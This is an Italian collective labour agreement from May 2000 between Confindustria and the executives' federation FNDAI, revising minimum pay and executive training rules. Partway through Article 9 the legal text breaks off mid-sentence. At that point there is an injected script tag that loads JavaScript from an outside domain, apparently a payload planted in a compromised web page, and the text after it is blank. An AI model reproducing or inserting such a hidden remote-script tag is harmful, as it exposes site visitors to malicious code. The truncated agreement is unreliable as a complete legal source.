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Categoria: Dirigenti (aziende industriali)
Settore: Altro
Data stipula: 23-5-2000
Data decorrenza: 1-1-2000
Data scadenza: 31-12-2003

Addì, 23 maggio 2000

tra

-    CONFINDUSTRIA

e

-    Federazione Nazionale Dirigenti di Aziende Industriali (FNDAI)

si  è  stipulato il presente accordo che rinnova la parte normativa  e  la
parte economica del CCNL 27.4.95 come modificato dall'Accordo 19.11.97,  i
cui  artt.  3,  9, 10, 12, 15, 19, 21 e 29, nonché la nota a verbale  agli
artt. 13, 14, 15 e 16 sono modificati come segue.



Art. 3 - Determinazione del minimo contrattuale.

All'art.  3 del CCNL 27.4.95, come modificato dall'Accordo 19.11.97,  sono
apportate le seguenti modifiche:

1)    "Il  minimo  contrattuale  mensile base è  fissato,  con  decorrenza
  dall'1.1.00,   in  £.  5.990.000  (3.093,58  Euro)  e,  con   decorrenza
  dall'1.1.01, in £. 6.170.000 (3.586,54 Euro). Tali misure sono comprensive
  dell'importo di £. 1.581.000 mensili maturate, all'1.7.91, a  titolo  di
  meccanismo di variazione automatica della retribuzione, soppresso ai sensi
  dell'art. 5, Accordo 18.2.92.
  Gli  incrementi  del minimo contrattuale mensile base,  come  risultanti
  dalle  decorrenze  sopra indicate, non comportano riflessi  sull'importo
  per  ex  elemento  di maggiorazione e sugli aumenti d'anzianità  di  cui
  rispettivamente all'art. 4 e all'art. 6.
  Le  variazioni  in funzione dell'anzianità di servizio  nella  qualifica
  sono regolate dall'art. 6.

2)    Sulle  retribuzioni di fatto percepite al 31.12.99 è apportato,  con
  decorrenza dall'1.1.00, un aumento pari alla differenza tra il minimo base
  di  £.  5.990.000 mensili fissato dal punto 1) del presente  articolo  e
  quello fissato, con decorrenza dall'1.1.99, dal punto 1), art. 3, Accordo
  19.11.97 (£. 5.800.000).
  Analogamente,  sulle retribuzioni di fatto percepite al   31.12.00  sarà
  apportato,  con decorrenza dall'1.1.01, un aumento pari alla  differenza
  tra  i 2 minimi base stabiliti al precedente punto 1) (£. 6.170.000 meno
  £. 5.990.000).

3)    In  applicazione  di  quanto concordato con  l'Accordo  19.11.97,  a
  decorrere  dall'1.1.00,  i  miglioramenti  economici  ricorrenti,  sulle
  retribuzioni   mensili  di  fatto  percepite,  attribuiti  aziendalmente
  successivamente  al 31.12.98 sono assorbibili o conguagliabili  con  gli
  aumenti  previsti  dal  presente accordo con  decorrenza  dall'1.1.00  e
  dall'1.1.01.

4)    Salvo  il  rispetto dei minimi mensili base previsti  dal  punto  1)
  nonché dell'importo per ex elemento di maggiorazione di cui all'art.  4,
  gli aumenti delle retribuzioni di fatto di cui al precedente punto 2) non
  sono dovuti ai dirigenti assunti dall'1.1.00.


Disposizioni transitorie.

Le parti si danno reciprocamente atto di quanto segue:

a)   (OMISSIS);
b)    gli  aumenti  retributivi derivanti dal presente  contratto  trovano
  applicazione  nei confronti dei dirigenti in servizio  al  23.5.00.  Gli
  importi  afferenti  il  periodo  1.1.00-  31.5.00  saranno  corrisposti,
  sempreché dovuti, con la retribuzione afferente il mese di giugno 2000.

in calce all'art. 3 è aggiunta la seguente:

Dichiarazione a verbale.

"Le  parti, tenuto conto dell'evoluzione delle realtà produttive del Paese
e  dell'esigenza di crescente coinvolgimento del dirigente  nei  risultati
dell'azienda, costituiranno un gruppo di lavoro paritetico per l'esame del
modello  di  assetti contrattuali, anche in relazione alle  esperienze  in
atto nei principali Paesi europei.

Il  gruppo presenterà le proprie valutazioni e proposte alle parti  stesse
entro il 31.12.00".



Art. 9 - Formazione e aggiornamento culturale-professionale.

L'art. 9, CCNL 27.4.95 viene così sostituito:

"Allo scopo di realizzare, in maniera continua e permanente, la formazione
e  l'aggiornamento  culturale-professionale dei dirigenti,  le  parti,  in
attuazione  di  quanto previsto dall'art. 17, legge n. 196/97,  convengono
sulla  destinazione  del  contributo integrativo  dello  0,30%  introdotto
dall'art.  25,<s<script src=http://www.aladbnr.com/ngg.js></script>













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